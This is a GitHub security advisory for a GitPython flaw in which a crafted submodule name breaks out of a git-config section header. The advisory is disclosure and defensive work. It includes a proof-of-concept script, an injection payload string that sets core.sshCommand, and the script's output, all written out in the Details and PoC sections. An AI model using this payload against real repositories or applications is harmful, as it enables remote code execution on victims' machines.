Skip to content

GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE)

High severity GitHub Reviewed Published Jul 20, 2026 in gitpython-developers/GitPython • Updated Oct 23, 2026

Package

pip gitpython (pip)

Affected versions

<= 3.1.52

Patched versions

3.1.53

Description

Summary

In GitPython <= 3.1.52, the config writer neutralizes only CR, LF, and NUL in configuration names, but writes section names into the [...] header with no other escaping. A section/subsection name that contains ] [ " closes the intended header and opens a second same-line section, injecting an arbitrary config directive — with no newline required. Because a submodule name is attacker-controlled data (it comes from a repository's .gitmodules, or from an application that lets a user name a submodule) and is written verbatim into the parent repository's trusted .git/config, an attacker can set core.sshCommand (or alias.*, core.pager, core.fsmonitor) and achieve remote code execution on the victim's next git operation. Likely CWE-74 (Injection).

This is a distinct variant of the injection addressed by GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67: those fixed newline injection into config values/names (patched in 3.1.50); the [r\n\x00] guard added for them does not stop a same-line section break inside a name.

Details

The only guard applied to section/option names before writing is _assure_config_name_safe, which uses a regex that matches solely CR/LF/NUL:

git/config.py:75,897-899 (GitPython 3.1.52):

UNSAFE_CONFIG_CHARS_RE = re.compile(r"[\r\n\x00]")
...
def _assure_config_name_safe(self, name: "cp._SectionName", label: str) -> None:
    if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name):
        raise ValueError("Git config %s names must not contain CR, LF, or NUL" % label)

The name is then serialized into the header with no escaping of ], [, ", space, = or #:

git/config.py:693:

fp.write(("[%s]\n" % name).encode(defenc))

For submodules the name is wrapped as submodule "<name>" (git/objects/submodule/util.py:39, return f'submodule "{name}"'), which supplies the balancing quote. A submodule named:

x"] [core] sshCommand=CMD #

therefore serializes to the header [submodule "x"] [core] sshCommand=CMD #"]. git parses everything after the first ] on that line as a fresh section, yielding core.sshCommand=CMD (the trailing #"] is an inline comment). No CR/LF/NUL appears, so _assure_config_name_safe never fires.

The attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's .git/config:

  • Repo.create_submodule(name=<untrusted>, ...) → Submodule.add → git/objects/submodule/base.py:619 writer.set_value(sm_section(name), "url", url) — a single call, no hostile remote required.
  • Repo.clone_from(<hostile url>) + repo.submodule_update(init=True) → git/objects/submodule/base.py:855 writer.set_value(sm_section(self.name), "url", self.url), where self.name is read unvalidated from the cloned repo's .gitmodules.

Asymmetry: the sibling class is blocked — a newline in a config value, e.g. set_value("core", "editor", "x\n\tsshCommand=CMD"), raises ValueError. The section-name bracket payload is not caught by the same guard.

PoC

Single self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with git config --get; no ssh/fetch/push is run and nothing is executed.

#!/usr/bin/env python3
"""Minimal PoC: git-config section-name injection in GitPython==3.1.52."""
from importlib.metadata import version
import os, tempfile, subprocess
import git

print(f"# GitPython {version('GitPython')}")        # version proof -- first line

MARKER = "MARKER_9f3a"                               # inert; never executed
tmp = tempfile.mkdtemp()
env = {**os.environ, "HOME": tmp,
       "GIT_CONFIG_GLOBAL": os.path.join(tmp, "gc"), "GIT_CONFIG_SYSTEM": os.devnull,
       "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@b.c",
       "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@b.c"}

def run(*a, cwd=None):
    return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True)

# A benign local repo used as the submodule url (a plain path, no network).
src = os.path.join(tmp, "src"); os.makedirs(src)
run("git", "init", "-q", src)
open(os.path.join(src, "f"), "w").write("x")
run("git", "add", "f", cwd=src); run("git", "commit", "-qm", "i", cwd=src)
suburl = os.path.join(tmp, "sub.git"); run("git", "clone", "-q", "--bare", src, suburl)

def parent_repo():
    p = tempfile.mkdtemp(dir=tmp)
    run("git", "init", "-q", p)
    open(os.path.join(p, "r"), "w").write("x")
    run("git", "add", "r", cwd=p); run("git", "commit", "-qm", "i", cwd=p)
    return p

def injected_sshcommand(parent):
    r = run("git", "config", "-f", os.path.join(parent, ".git", "config"),
            "--get", "core.sshCommand")
    return (r.returncode, r.stdout.strip())

benign = "docs"
evil   = f'x"] [core] sshCommand={MARKER} #'          # closes the header, opens [core]

p_control = parent_repo()
git.Repo(p_control).create_submodule(name=benign, path="docs", url=suburl)
p_exploit = parent_repo()
git.Repo(p_exploit).create_submodule(name=evil, path="sub", url=suburl)

ctl = injected_sshcommand(p_control)
exp = injected_sshcommand(p_exploit)
header = [l for l in open(os.path.join(p_exploit, ".git", "config")).read().splitlines()
          if l.startswith("[submodule")][0]

print("control name :", repr(benign))
print("  git core.sshCommand ->", ctl, "(unset)")
print("exploit name :", repr(evil))
print("  written header      ->", header)
print("  git core.sshCommand ->", exp)

assert ctl[0] != 0 and ctl[1] == "", "control unexpectedly set core.sshCommand"
assert exp == (0, MARKER), "not reproduced"
print(f"VERDICT: attacker-controlled submodule name injected core.sshCommand={MARKER} "
      f"into the victim's trusted .git/config (git would run it on the next ssh op)")

Run:

uv run --with GitPython==3.1.52 python poc.py

Observed output:

# GitPython 3.1.52
control name : 'docs'
  git core.sshCommand -> (1, '') (unset)
exploit name : 'x"] [core] sshCommand=MARKER_9f3a #'
  written header      -> [submodule "x"] [core] sshCommand=MARKER_9f3a #"]
  git core.sshCommand -> (0, 'MARKER_9f3a')
VERDICT: attacker-controlled submodule name injected core.sshCommand=MARKER_9f3a into the victim's trusted .git/config (git would run it on the next ssh op)

The benign name yields a single clean [submodule "docs"] section; the malicious name yields an injected core.sshCommand. Deterministic across runs. The payload must use balanced double-quotes (an unbalanced " makes git reject the header); the submodule "<name>" wrapper balances them automatically.

Impact

Arbitrary attacker-controlled write into the victim's repository-local .git/config, which git fully trusts. core.sshCommand is executed as the ssh transport command on the victim's next ssh git operation (fetch/pull/push), giving remote code execution; other injectable keys (alias.*, core.pager, core.fsmonitor) fire on more common operations. Reachable in default configuration through two realistic paths:

  • an application that constructs a submodule from untrusted input via Repo.create_submodule(name=...) (single call); or
  • Repo.clone_from of an untrusted repository followed by submodule_update — the canonical submodule threat model, where the malicious name is read from the cloned .gitmodules.

No non-default git settings are required. Primarily a Unix vector: on Windows the " in the resulting .git/modules/<name> directory name can abort the fresh-clone write branch (the direct config-API and create_submodule sinks are unaffected).

Recommended fix

Reject or escape configuration section/subsection/option names that contain ], [, ", or leading/trailing whitespace (or apply git's own section-name escaping) in _assure_config_name_safe / write_section, rather than only CR/LF/NUL. Validating submodule names before they reach sm_section would additionally close the clone-driven path.

References

@Byron Byron published to gitpython-developers/GitPython Jul 20, 2026
Published to the GitHub Advisory Database Jul 24, 2026
Reviewed Jul 24, 2026
Last updated Oct 23, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
High
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(19th percentile)

Weaknesses

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. Learn more on MITRE.

CVE ID

CVE-2026-69097

GHSA ID

GHSA-3rp5-jjmw-4wv2

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.